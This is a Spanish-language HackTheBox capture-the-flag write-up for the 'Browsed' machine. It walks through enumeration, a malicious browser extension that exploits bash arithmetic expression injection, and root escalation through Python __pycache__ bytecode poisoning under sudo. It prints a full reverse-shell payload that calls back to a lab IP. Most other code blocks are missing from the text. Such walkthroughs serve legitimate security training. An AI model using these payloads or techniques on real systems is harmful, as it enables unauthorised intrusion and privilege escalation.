HackTheBox - Browsed
Writeup de la máquina Browsed de HackTheBox
Dificultad
mediumTiempo aprox.
8hDatos Iniciales:
10.129.5.12
Nmap Scan
Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTCP/22: SSH, versión potencialmente vulnerable.CVE-2024-6387: RegreSSHion -> Unauthenticated RCE. Complejo de explotar, puede requerir un tiempo largo.
CVE-2023-51385: Command Injection
TCP/80: nginx/1.24.0, versión estable y con vulnerabilidades no relevantes (corrupción de memoria, DDoS, crasheos...)
Puerto 80
Enumeración
Al entrar, nos encontramos una página que ofrece varias extensiones de navegador.

Aunque no se nos haya redirigido a ningún vhost en función del dominio, como es normal en algunas máquinas, dado que arriba a la izquierda aparece el dominio browsed.htb lo añado a /etc/hosts y analizo subdominios, aunque pasado un rato no se encuentra nada:
Buscamos directorios:
Como no parece haber mucho relevante, antes de ponernos a mirar dentro de assets, miro a qué podemos acceder desde la página principal, y qué podemos deducir de ello:
No hay
robots.txtEl botón
Upload Extensionapunta aupload.phpPodríamos intentar subir un php malicioso que nos dé un reverse shell
Podríamos buscar más archivos php en el directorio
En
browsed.htb/samplesvemos 3 extensiones que podemos descargar, cuyos botones de descarga apuntan a archivos.zip, quizás valga la pena buscar más zips.
Tras otro análisis con gobuster, no encontramos nada nuevo, así que nos centramos en la posibilidad de subir archivos .zip con extensiones de navegador.
Subida de archivos .zip
Si probamos, antes de intentar crear una extensión maliciosa, a descargar y subir uno de los .zip que ofrecen, p.ej el de fontify.zip:

Si miramos detalladamente el log del error, encontraremos datos relevantes:
Entre todo este texto, destacan:
http://localhost/images/pic01.jpg: Posiblemente haya un servidor web en escucha en localhost en el servidorhttp://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5: Un dominio nuevo,browsedinternals.htb, que posiblemente esté usando Gitea.Añadimos
browsedinternals.htba/etc/hosts
BrowsedInternals - Gitea
Entramos y, como esperábamos, encontramos una instancia de Gitea. Si vamos a Explore, encontramos un repo MarkdownPreview de larry.
Apuntamos posible username del SO:
larryEntramos a su repo.
En el repo, encontramos varios archivos:

Hay 2 commits, pero no cambian en nada relevante, así que nos clonamos el actual y miramos qué hay.
Vamos mirando los archivos de uno en uno.
backups, log, files
En backups vemos dos archivos .tar.gz:
Si los descomprimimos veremos que no hay nada, ni archivos ocultos que puedan servir de algo.
En files hay un archivo cf23093c09e7478382e716e31d06b3ef.html que contiene:
hashid detecta el nombre del archivo (sin el .html) como un posible hash (MD2,MD5,MD4...), posiblemente no sea nada. CrackStation no consigue crackearlo, si es que significa algo.
En log hay un archivo routine.log y uno routing.log.gz, ninguno de los dos contiene nada relevate.
routines.sh
Encontramos varias variables de entorno que confirman la existencia de un usuario larry:
Según el propio larry, el programa, al ejecutarlo, se encarga de una de las siguientes en función de $1:
Limpiar archivos temporales en
/home/larry/markdownPreview/tmpHacer un backup de los datos de
/home/larry/markdownPreview/dataen un.tar.gzubicado en/home/larry/markdownPreview/backupsRotar los logs de
/home/larry/markdownPreview/tmpGuardar la info del sistema en
/home/larry/markdownPreview/backupsSi el parámetro
$1no está entre 0 y 3 (o no es un número), guarda$1en$ROUTINE_LOG
La elección se hace en función de la siguiente comparación:
Hay un punto importante, si el primer valor ($1) pasado a routines.sh no es 0, 1, 2 o 3 (else...), el script hará lo siguiente:
Sin ningún tipo de filtro, routines.sh meterá a /home/larry/markdownPreview/log/routine.log nuestro argumento, así que, si conseguimos una forma de pasarle un argumento arbitrario, podríamos conseguir crear un archivo potencialmente peligroso.
app.py
Aplicación de Flask con varios endpoints, entre ellos, el más relevante es /routines/<rid>:
El endpoint toma <rid> y se lo pasa a routines.sh como argumento, aquí volvemos a la función anterior. El $1 de routines.sh es el <rid> que nosotros elegimos, así que tenemos cierto control sobre /home/larry/markdownPreview/log/routine.log.
Al final del archivo vemos:
Podemos estar casi seguros de que el servicio en localhost:5000 que hemos visto en los logs corresponde a este app.py.
Intento de exploit y explicación
Una vez que conocemos cómo funciona la app de localhost, planeo lo siguiente:
Las extensiones que sube el usuario se ejecutan en el navegador del servidor
Podemos hacer que una extensión visite
http://127.0.0.1:5000/routines/<X>, lo que hará que<X>se añada ahome/larry/markdownPreview/log/routine.logSi de algún modo conseguimos que un html de una extensión acceda a ese archivo, podríamos llegar a conseguir un XSS. Problema: no sirve de mucho, y tampoco podemos hacerlo, porque incluso subiendo un
.zipcon un html falso que sea un soft link y apunte a/.../routine.log, al descomprimirlo la página parece limpiar el link, o al menos no vemos su output en el log.
Arithmetic Expression Injection - Explicación
Pasado un rato largo buscando soluciones, miro qué más puede llegar a ser vulnerable en el script, y tras un rato, encuentro que es posible realizar una Arithmetic Expression Injection, que consiste en lo siguiente:
En cualquiera de las comprobaciones de routines.sh se realiza esto:
Bash, por dentro, tiene un evaluador aritmético que se activa en estructuras como ((...)), $((...)), let ... u otras. P.ej ((x = 2 + 3)) se evalúa automáticamente y hace que x tenga el valor 5, también funciona con comandos. En la estructura [[...]], todo esto por defecto no pasa.
Lo que hace vulnerable al script es que, cuando se usa -eq, bash no compara strings, interpreta ambos operandos como expresiones aritméticas, aunque estén entre [[...]]. Esto hace que se pueda pasar como $1 un array cuyo índice ha de calcularse, p.ej:
array[$(<Comando de Reverse Shell>)]Bash detectaráarray[...], tendrá que evaluar el índice, verá que contiene$(...), lo procesará y ejecutará, y luego intentará usar el resultado como índice, pero el daño ya estará hecho.
Arithmetic Expression Injection - Explotación
Ahora que conocemos la vulnerabilidad de la app, necesitamos crear una extensión de navegador que acceda a http://localhost:5000/routines/arr[$(bash -i >& /dev/tcp/10.10.14.12/4444 0>&1)] mientras escuchamos en el puerto.
Hacemos una extensión simple con 3 archivos, sacando la base de Internet y modificándola:
manifest.json tiene la siguiente forma:
content.js y background.js tienen exactamente el mismo código (por si falla uno):
Los comprimimos y subimos el zip mientras escuchamos en el puerto 4444:
Privesc
Lo primero que vemos en el directorio .ssh de larry al entrar es una clave pivada id_ed25519, la descargamos para poder acceder por ssh más adelante.
Ejecutamos sudo -l y vemos que larry puede ejecutar como root lo siguiente:
Antes de ir a por el script, ejecutamos LinPEAS. Destacan varias cosas:
Sudo version 1.9.15p5: CVE-2025-32463 - Chroot-to-Root. Tras probar con un exploit, no parece funcionar (necesitamos credenciales de larryy)Puertos locales abiertos:
Checking if PAM loads
pam_cap.so:/etc/pam.d/common-auth:25:auth optional pam_cap.so
Tras mirar en los puertos de MySQL sin éxito, al no tener contraseña, vamos a por el script de python que podemos ejecutar con sudo.
Se trata de un programa encargado de:
Cambiar la versión de una extensión -> No vulnerable
Comprimir en un .zip archivos de un directorio fuente -> No vulnerable
Limpiar archivos temporales -> No vulnerable
Como no veo nada vulnerable, miramos el directorio del script por si hay algo relevante. No podemos hacer Library Hijacking porque no tenemos privilegios de escritura en el directorio del script:
Pero si nos fijamos, dentro del directorio extensiontool tenemos permisos de escritura para la carpeta __pycache__:
Tras buscar qué nos permite este permiso de escritura, veo que es posible realizar un ataque de python cache poisoning. Sabemos que la versión de python usada es la 3.12 (aparece en el shebang del script), así que primero creamos un exploit y lo compilamos a bytecode de python:
Miramos qué librerías usa el programa extension_tool.py:
Aquí destaca extension_utils, que proviene exactamente del archivo extension_utils.py del mismo directorio, una librería custom. Cuando python inicie el programa, hará lo siguiente:
Al llegar a
from extension_utils..., buscaráextension_utils.pyen el mismo directorio (por el orden de carga por defecto de python).Mirará si existe una versión precompilada en
__pycache__Si el
.pycexiste, comparará la cabecera del.pyccon los metadatos del.pyreal.Si coinciden, ejecutará el
.pycdirectamente.
Así que primero compilamos un .pyc original para tener una cabecera "buena":
Ahora usamos el siguiente script sacado de aquí que inyecta el bytecode malicioso en el de la librería, preservando las cabeceras:
Y lo ejecutamos:
Ahora ejecutamos el programa con sudo:
Miramos /tmp:
Ejecutamos nuestro nuevo binario de bash con -p
Desde hace años, el binario de bash está programado para detectar automáticamente si se está ejecutando con el bit SUID activado por un usuario distinto al dueño. Al ver que usuario y dueño no son el mismo, asume que es un riesgo de seguridad y rebaja sus privilegios.
-ple hace no rebajarlos.
Y tenemos root.
Última actualización